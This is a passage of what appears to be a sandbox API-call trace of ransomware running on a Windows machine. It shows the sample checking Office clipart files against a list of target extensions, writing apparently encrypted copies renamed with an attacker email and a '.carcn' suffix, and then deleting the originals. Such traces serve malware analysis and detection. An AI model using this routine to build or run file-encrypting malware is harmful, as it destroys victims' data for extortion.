office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0305.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.478] lstrlenW (lpString=".doc") returned 4 [0305.478] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.478] lstrlenW (lpString=".docx") returned 5 [0305.478] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0305.478] lstrlenW (lpString=".pdf") returned 4 [0305.478] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.478] lstrlenW (lpString=".xls") returned 4 [0305.478] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString=".xlsx") returned 5 [0305.479] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0305.479] lstrlenW (lpString=".ppt") returned 4 [0305.479] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.479] lstrlenW (lpString=".zip") returned 4 [0305.479] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString=".rar") returned 4 [0305.479] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString=".bz2") returned 4 [0305.479] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString=".7z") returned 3 [0305.479] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.479] lstrlenW (lpString=".dbf") returned 4 [0305.479] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.479] lstrlenW (lpString=".1cd") returned 4 [0305.479] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0305.479] lstrlenW (lpString=".jpg") returned 4 [0305.479] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.481] GetLastError () returned 0x0 [0305.481] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.492] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.493] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.493] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.493] SetEndOfFile (hFile=0x34c) returned 1 [0305.494] CloseHandle (hObject=0x34c) returned 1 [0305.494] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.494] SetEndOfFile (hFile=0x334) returned 1 [0305.495] CloseHandle (hObject=0x334) returned 1 [0305.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0305.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.496] lstrlenW (lpString=".doc") returned 4 [0305.496] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.496] lstrlenW (lpString=".docx") returned 5 [0305.496] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0305.496] lstrlenW (lpString=".pdf") returned 4 [0305.496] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.496] lstrlenW (lpString=".xls") returned 4 [0305.496] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.496] lstrlenW (lpString=".xlsx") returned 5 [0305.497] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0305.497] lstrlenW (lpString=".ppt") returned 4 [0305.497] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.497] lstrlenW (lpString=".zip") returned 4 [0305.497] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.497] lstrlenW (lpString=".rar") returned 4 [0305.497] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.497] lstrlenW (lpString=".bz2") returned 4 [0305.497] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.497] lstrlenW (lpString=".7z") returned 3 [0305.497] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.497] lstrlenW (lpString=".dbf") returned 4 [0305.497] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.497] lstrlenW (lpString=".1cd") returned 4 [0305.497] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0305.497] lstrlenW (lpString=".jpg") returned 4 [0305.497] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.498] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.498] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.498] GetLastError () returned 0x0 [0305.499] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.829] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.830] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.830] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.831] SetEndOfFile (hFile=0x34c) returned 1 [0305.831] CloseHandle (hObject=0x34c) returned 1 [0305.831] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.831] SetEndOfFile (hFile=0x334) returned 1 [0305.832] CloseHandle (hObject=0x334) returned 1 [0305.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0305.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.833] lstrlenW (lpString=".doc") returned 4 [0305.833] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.833] lstrlenW (lpString=".docx") returned 5 [0305.833] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0305.833] lstrlenW (lpString=".pdf") returned 4 [0305.833] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.833] lstrlenW (lpString=".xls") returned 4 [0305.833] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.833] lstrlenW (lpString=".xlsx") returned 5 [0305.833] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0305.833] lstrlenW (lpString=".ppt") returned 4 [0305.833] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.833] lstrlenW (lpString=".zip") returned 4 [0305.833] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.834] lstrlenW (lpString=".rar") returned 4 [0305.834] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.834] lstrlenW (lpString=".bz2") returned 4 [0305.834] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.834] lstrlenW (lpString=".7z") returned 3 [0305.834] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.834] lstrlenW (lpString=".dbf") returned 4 [0305.834] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.834] lstrlenW (lpString=".1cd") returned 4 [0305.834] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0305.834] lstrlenW (lpString=".jpg") returned 4 [0305.834] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.834] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.834] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.835] GetLastError () returned 0x0 [0305.835] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4290, lpOverlapped=0x0) returned 1 [0305.837] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0305.839] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.839] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.839] SetEndOfFile (hFile=0x34c) returned 1 [0305.839] CloseHandle (hObject=0x34c) returned 1 [0305.840] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.840] SetEndOfFile (hFile=0x334) returned 1 [0305.841] CloseHandle (hObject=0x334) returned 1 [0305.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0305.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.842] lstrlenW (lpString=".doc") returned 4 [0305.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString=".docx") returned 5 [0305.842] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.842] lstrlenW (lpString=".pdf") returned 4 [0305.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString=".xls") returned 4 [0305.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.842] lstrlenW (lpString=".xlsx") returned 5 [0305.842] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.842] lstrlenW (lpString=".ppt") returned 4 [0305.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.842] lstrlenW (lpString=".zip") returned 4 [0305.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.842] lstrlenW (lpString=".rar") returned 4 [0305.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString=".bz2") returned 4 [0305.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString=".7z") returned 3 [0305.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.842] lstrlenW (lpString=".dbf") returned 4 [0305.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.843] lstrlenW (lpString=".1cd") returned 4 [0305.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0305.843] lstrlenW (lpString=".jpg") returned 4 [0305.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.843] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.843] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.844] GetLastError () returned 0x0 [0305.844] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0305.854] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0305.855] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.855] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.855] SetEndOfFile (hFile=0x34c) returned 1 [0305.855] CloseHandle (hObject=0x34c) returned 1 [0305.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.855] SetEndOfFile (hFile=0x334) returned 1 [0305.857] CloseHandle (hObject=0x334) returned 1 [0305.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0305.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.858] lstrlenW (lpString=".doc") returned 4 [0305.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.858] lstrlenW (lpString=".docx") returned 5 [0305.858] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0305.858] lstrlenW (lpString=".pdf") returned 4 [0305.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.858] lstrlenW (lpString=".xls") returned 4 [0305.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.858] lstrlenW (lpString=".xlsx") returned 5 [0305.858] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0305.858] lstrlenW (lpString=".ppt") returned 4 [0305.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.858] lstrlenW (lpString=".zip") returned 4 [0305.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.858] lstrlenW (lpString=".rar") returned 4 [0305.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.858] lstrlenW (lpString=".bz2") returned 4 [0305.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.858] lstrlenW (lpString=".7z") returned 3 [0305.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.858] lstrlenW (lpString=".dbf") returned 4 [0305.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.859] lstrlenW (lpString=".1cd") returned 4 [0305.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0305.859] lstrlenW (lpString=".jpg") returned 4 [0305.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.870] GetLastError () returned 0x0 [0305.870] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0305.908] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0305.910] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.910] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.910] SetEndOfFile (hFile=0x348) returned 1 [0305.910] CloseHandle (hObject=0x348) returned 1 [0305.911] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.911] SetEndOfFile (hFile=0x35c) returned 1 [0305.912] CloseHandle (hObject=0x35c) returned 1 [0305.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0305.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.913] lstrlenW (lpString=".doc") returned 4 [0305.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.913] lstrlenW (lpString=".docx") returned 5 [0305.913] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.913] lstrlenW (lpString=".pdf") returned 4 [0305.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.913] lstrlenW (lpString=".xls") returned 4 [0305.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.913] lstrlenW (lpString=".xlsx") returned 5 [0305.913] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.913] lstrlenW (lpString=".ppt") returned 4 [0305.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.913] lstrlenW (lpString=".zip") returned 4 [0305.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.913] lstrlenW (lpString=".rar") returned 4 [0305.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.913] lstrlenW (lpString=".bz2") returned 4 [0305.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.914] lstrlenW (lpString=".7z") returned 3 [0305.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.921] lstrlenW (lpString=".dbf") returned 4 [0305.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.921] lstrlenW (lpString=".1cd") returned 4 [0305.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0305.921] 